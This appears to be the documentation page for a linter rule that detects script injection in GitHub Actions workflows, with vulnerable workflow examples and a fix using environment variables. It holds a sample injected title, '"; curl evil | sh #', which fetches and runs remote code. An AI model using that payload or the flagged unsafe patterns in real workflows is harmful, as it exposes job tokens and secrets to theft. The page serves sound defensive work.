Skip to content

script-injection

GitHub Actionscorrectnessno fixdefault: warngithub-actions/actionlint

Reports an expression in a run script that reads text that an attacker can choose, such as the title or body of an issue or pull request, a branch name or a commit message.

The runner replaces the ${{ }} expression with its value before the shell sees the script. A title like "; curl evil | sh # becomes part of the script and runs with the job’s token and secrets.

To fix, pass the value through an environment variable (env:) and read "$VAR" in the script.

Reported
jobs:
a:
steps:
- run: echo "${{ github.event.issue.title }}"
- run: |
echo ${{ github.head_ref }}
echo ${{ github.event.commits[0].message }} ${{ github.sha }}
- name: ${{ github.event.issue.title }}
run: echo "$TITLE"
env:
TITLE: ${{ github.event.issue.title }}
- run: echo '${{ toJSON(github.event.*.body) }}'
- uses: actions/github-script@v7
with:
script: console.log('${{ github.event.head_commit.message }}')
github-actions:
lint:
rules:
script-injection: warn # off, warn (default), error

Enabled by the presets: github-actions/actionlint.

Suppress one line with sudsy-disable-next-line script-injection in a comment of the file’s language.

The same check in other tools. full: Sudsy reports what the upstream rule reports; partial: only part of it, as the last column says.

Tool Rule Match What differs
actionlint expression/untrusted partial The contexts are a fixed list.